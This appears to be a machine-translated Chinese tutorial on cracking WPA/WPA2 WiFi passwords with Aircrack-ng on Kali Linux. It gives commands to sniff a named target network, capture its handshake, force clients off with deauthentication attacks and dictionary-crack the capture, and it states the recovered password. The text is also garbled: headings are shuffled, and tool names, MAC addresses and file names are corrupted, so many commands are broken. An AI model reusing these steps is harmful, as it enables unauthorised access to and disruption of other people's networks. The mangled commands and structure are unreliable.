前言

Aircrack-ng是一款与802.11标准无线网络分析相关的安全软件。其主要功能包括：网络检测、报文嗅探、WEP和WPA/WPA2-PSK破解。Aircrack-ng可以在任何支持监听模式的无线网卡上工作(查看其网站上的设备列表)，并从802.11a、802.11b和802.11g中截取数据。该程序在Linux和Windows上运行。Linux版本已经移植到Zaurus和Maemo系统平台，并且概念验证移植到iPhone上。

外接无线网卡设备：支持监听，支持Linux，免驱动(这里我用的是RT3070)

一、什么是Aircrack-ng

登录Kali系统后，插入网卡，右键单击查看网卡是否已连接Kali。

运行环境

插入网卡设备

Command: sudo su说明：如果不是在管理员模式下执行该命令，可能会提示权限不足

提示：执行命令后输入Kali的密码，密码是隐藏的，只需输入并按回车键即可

二、破解流程

命令：iwconfig/ifconfig说明：iwconfig显示网卡信息，ifconfig显示新连接的设备wlan0是我们的无线网卡

1.进入管理员模式

命令：airmon-ng check kill描述：杀死进程使搜索更精确，不受影响

2.查看网卡信息

command: airmon-ng如果显示您的网卡信息，表示您的网卡支持监听

3.杀掉冲突进程

命令：airmon-ng start wlan0描述：start使能哪个接口。其中，wlan0为接口名称

执行iwconfig命令查看网卡信息。如果在“wlan0”后面加上“mon”，则“wlan0mon”表示开启监听

4.查看网卡是否支持监听模式

命令：airdump -ng wlan0mon描述：BSSID: WIFI的MAC地址；PWR:信号强度；数据：监控期间的总流量；CH:通道；ENC:加密算法；ESSID: WIFI的名称

提示：在找到网络后，按CTRL+Z结束搜索

5.开启无线网卡监听模式

命令：airrodump -ng -c(通道号)——bssid (MAC地址)-w(捕获数据包保存位置

1.c:表示通道

2.bssid: bssid值

3.w:握手报文保存路径

我想要破解的目标网络是Test, CH(通道)是11,MAC地址是E2:D4:64:02:73:A8，我在根目录中创建了一个名为1的文件夹，并键入命令：airrodump -ng -c 11——bssid E2:D4:64:02:73:A8 -w 1/wlan0mon

提示：所有值都应该写入您刚刚检查要破解的WIFI的一个客户端的值

5.获取附近的AP信息（搜WIFI）

新建客户端时，客户端输入密码抓取握手报文。界面右上角显示WPA，表示抓取到握手报文

6.开始抓取握手包并保存成文件

命令：airplay -ng - 0 2 -a BSSID (MAC地址)-c STATION wlan0mon

0:对客户端发起攻击，断开设备连接

2:攻击次数。0表示持续攻击

a:指定无线路由器的BSSID

c:强制断开连接设备的MAC地址

执行airplay -ng -o 2 -a E2:D4:64:02:73 3:A8 -c C8:94:02:6D:93:F3 wlan0mon命令，在抓取到握手报文后停止攻击

注意：当发生主动攻击时，请创建一个新的终端来执行该命令。不终止原终端的抓包

(1) 等待新的设备连接WIFI

命令：aircrack-ng -a2-b E2:D4:64:02:73 3:A8 -w字典。txt 1/-01.帽

a2:WPA握手包

b:解密WIFI BSSID

W:指定字典文件

*:Cap是捕获握手包的包文件

最后等待字典运行，这里是WIFI密码破解，密码是20041101

(2) 主动攻击

命令：airmon-ng stop wlan0mon在监听模式下，kali无法连接到网络

6. 破解握手包密码

插入网卡。如果看不到网卡信息，可以打开WIFI连接，看看能否搜索到附近的网络。如果没有，右键单击系统移动设备-断开网卡连接并重新连接

插入网卡，打开网卡的监控模式，搜索附近的WIFI，获取握手包，最后运行字典破解握手包，这里为您提供一个常用的密码字典